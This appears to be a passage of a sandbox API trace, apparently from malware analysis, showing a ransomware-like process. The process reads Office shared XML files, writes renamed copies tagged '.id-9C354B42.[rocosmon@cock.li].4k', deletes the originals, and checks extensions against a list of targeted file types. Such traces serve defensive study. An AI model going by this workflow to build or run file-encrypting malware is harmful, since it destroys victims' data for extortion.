	[0100.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0100.839] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=6241) returned 1
	[0100.839] CloseHandle (hObject=0x200) returned 1
	[0100.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 0x20
	[0100.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0100.839] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.839] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0100.840] GetLastError () returned 0x0
	[0100.840] ReadFile (in: hFile=0x200, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x1861, lpOverlapped=0x0) returned 1
	[0100.902] WriteFile (in: hFile=0x1f0, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x1870, lpOverlapped=0x0) returned 1
	[0100.904] ReadFile (in: hFile=0x200, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.904] WriteFile (in: hFile=0x1f0, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0100.904] SetEndOfFile (hFile=0x1f0) returned 1
	[0100.904] CloseHandle (hObject=0x1f0) returned 1
	[0100.904] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.904] SetEndOfFile (hFile=0x200) returned 1
	[0100.905] CloseHandle (hObject=0x200) returned 1
	[0100.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.906] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 1
	[0100.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101
	[0100.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101
	[0100.906] lstrlenW (lpString=".doc") returned 4
	[0100.906] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.906] lstrlenW (lpString=".docx") returned 5
	[0100.906] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.906] lstrlenW (lpString=".pdf") returned 4
	[0100.906] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.906] lstrlenW (lpString=".xls") returned 4
	[0100.906] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.906] lstrlenW (lpString=".xlsx") returned 5
	[0100.906] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.906] lstrlenW (lpString=".ppt") returned 4
	[0100.906] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101
	[0100.907] lstrlenW (lpString=".zip") returned 4
	[0100.907] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.907] lstrlenW (lpString=".rar") returned 4
	[0100.907] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.907] lstrlenW (lpString=".bz2") returned 4
	[0100.907] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.907] lstrlenW (lpString=".7z") returned 3
	[0100.907] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101
	[0100.907] lstrlenW (lpString=".dbf") returned 4
	[0100.907] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101
	[0100.907] lstrlenW (lpString=".1cd") returned 4
	[0100.907] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101
	[0100.907] lstrlenW (lpString=".jpg") returned 4
	[0100.907] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101
	[0100.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101
	[0100.908] lstrlenW (lpString=".doc") returned 4
	[0100.908] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.908] lstrlenW (lpString=".docx") returned 5
	[0100.908] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.908] lstrlenW (lpString=".pdf") returned 4
	[0100.908] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.908] lstrlenW (lpString=".xls") returned 4
	[0100.908] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.908] lstrlenW (lpString=".xlsx") returned 5
	[0100.908] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.908] lstrlenW (lpString=".ppt") returned 4
	[0100.908] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101
	[0100.908] lstrlenW (lpString=".zip") returned 4
	[0100.908] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.908] lstrlenW (lpString=".rar") returned 4
	[0100.908] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.908] lstrlenW (lpString=".bz2") returned 4
	[0100.908] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.908] lstrlenW (lpString=".7z") returned 3
	[0100.908] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101
	[0100.908] lstrlenW (lpString=".dbf") returned 4
	[0100.908] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101
	[0100.908] lstrlenW (lpString=".1cd") returned 4
	[0100.909] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101
	[0100.909] lstrlenW (lpString=".jpg") returned 4
	[0100.909] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.909] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.909] lstrlenW (lpString="VisiorWW.XML") returned 12
	[0100.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0100.909] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=8723) returned 1
	[0100.909] CloseHandle (hObject=0x200) returned 1
	[0100.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20
	[0100.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0100.910] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.910] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0100.938] GetLastError () returned 0x0
	[0100.938] ReadFile (in: hFile=0x200, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x2213, lpOverlapped=0x0) returned 1
	[0100.957] WriteFile (in: hFile=0x1fc, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x2220, lpOverlapped=0x0) returned 1
	[0100.958] ReadFile (in: hFile=0x200, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.958] WriteFile (in: hFile=0x1fc, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0100.958] SetEndOfFile (hFile=0x1fc) returned 1
	[0100.958] CloseHandle (hObject=0x1fc) returned 1
	[0100.959] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.959] SetEndOfFile (hFile=0x200) returned 1
	[0100.960] CloseHandle (hObject=0x200) returned 1
	[0100.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.960] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 1
	[0100.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99
	[0100.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99
	[0100.960] lstrlenW (lpString=".doc") returned 4
	[0100.960] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.961] lstrlenW (lpString=".docx") returned 5
	[0100.961] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1
	[0100.961] lstrlenW (lpString=".pdf") returned 4
	[0100.961] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.961] lstrlenW (lpString=".xls") returned 4
	[0100.961] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.961] lstrlenW (lpString=".xlsx") returned 5
	[0100.961] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1
	[0100.961] lstrlenW (lpString=".ppt") returned 4
	[0100.961] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99
	[0100.961] lstrlenW (lpString=".zip") returned 4
	[0100.961] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.961] lstrlenW (lpString=".rar") returned 4
	[0100.961] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.961] lstrlenW (lpString=".bz2") returned 4
	[0100.961] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.961] lstrlenW (lpString=".7z") returned 3
	[0100.961] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99
	[0100.961] lstrlenW (lpString=".dbf") returned 4
	[0100.961] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99
	[0100.961] lstrlenW (lpString=".1cd") returned 4
	[0100.961] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99
	[0100.961] lstrlenW (lpString=".jpg") returned 4
	[0100.961] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99
	[0100.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99
	[0100.962] lstrlenW (lpString=".doc") returned 4
	[0100.962] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.962] lstrlenW (lpString=".docx") returned 5
	[0100.962] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1
	[0100.962] lstrlenW (lpString=".pdf") returned 4
	[0100.962] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.962] lstrlenW (lpString=".xls") returned 4
	[0100.962] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.962] lstrlenW (lpString=".xlsx") returned 5
	[0100.962] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1
	[0100.962] lstrlenW (lpString=".ppt") returned 4
	[0100.962] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99
	[0100.962] lstrlenW (lpString=".zip") returned 4
	[0100.962] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.962] lstrlenW (lpString=".rar") returned 4
	[0100.962] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.962] lstrlenW (lpString=".bz2") returned 4
	[0100.962] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.962] lstrlenW (lpString=".7z") returned 3
	[0100.962] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99
	[0100.962] lstrlenW (lpString=".dbf") returned 4
	[0100.962] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99
	[0100.963] lstrlenW (lpString=".1cd") returned 4
	[0100.963] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99
	[0100.963] lstrlenW (lpString=".jpg") returned 4
	[0100.963] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.963] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.963] lstrlenW (lpString="DATES.XML") returned 9
	[0100.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0100.964] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=8918) returned 1
	[0100.964] CloseHandle (hObject=0x200) returned 1
	[0100.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 0x20
	[0100.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0100.964] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.964] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0100.971] GetLastError () returned 0x0
	[0100.971] ReadFile (in: hFile=0x200, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x22d6, lpOverlapped=0x0) returned 1
	[0100.981] WriteFile (in: hFile=0x1d8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x22e0, lpOverlapped=0x0) returned 1
	[0100.983] ReadFile (in: hFile=0x200, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.993] WriteFile (in: hFile=0x1d8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0100.993] SetEndOfFile (hFile=0x1d8) returned 1
	[0100.993] CloseHandle (hObject=0x1d8) returned 1
	[0100.993] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.993] SetEndOfFile (hFile=0x200) returned 1
	[0100.994] CloseHandle (hObject=0x200) returned 1
	[0100.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.995] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 1
	[0100.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77
	[0100.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77
	[0100.995] lstrlenW (lpString=".doc") returned 4
	[0100.995] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.995] lstrlenW (lpString=".docx") returned 5
	[0100.995] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1
	[0100.995] lstrlenW (lpString=".pdf") returned 4
	[0100.995] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.995] lstrlenW (lpString=".xls") returned 4
	[0100.995] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.995] lstrlenW (lpString=".xlsx") returned 5
	[0100.995] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1
	[0100.995] lstrlenW (lpString=".ppt") returned 4
	[0100.996] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77
	[0100.996] lstrlenW (lpString=".zip") returned 4
	[0100.996] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.996] lstrlenW (lpString=".rar") returned 4
	[0100.996] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.996] lstrlenW (lpString=".bz2") returned 4
	[0100.996] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.996] lstrlenW (lpString=".7z") returned 3
	[0100.996] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77
	[0100.996] lstrlenW (lpString=".dbf") returned 4
	[0100.996] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77
	[0100.996] lstrlenW (lpString=".1cd") returned 4
	[0100.996] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77
	[0100.996] lstrlenW (lpString=".jpg") returned 4
	[0100.996] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77
	[0100.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77
	[0100.996] lstrlenW (lpString=".doc") returned 4
	[0100.996] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.996] lstrlenW (lpString=".docx") returned 5
	[0100.996] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1
	[0100.996] lstrlenW (lpString=".pdf") returned 4
	[0100.996] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.997] lstrlenW (lpString=".xls") returned 4
	[0100.997] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.997] lstrlenW (lpString=".xlsx") returned 5
	[0100.997] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1
	[0100.997] lstrlenW (lpString=".ppt") returned 4
	[0100.997] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77
	[0100.997] lstrlenW (lpString=".zip") returned 4
	[0100.997] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.997] lstrlenW (lpString=".rar") returned 4
	[0100.997] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.997] lstrlenW (lpString=".bz2") returned 4
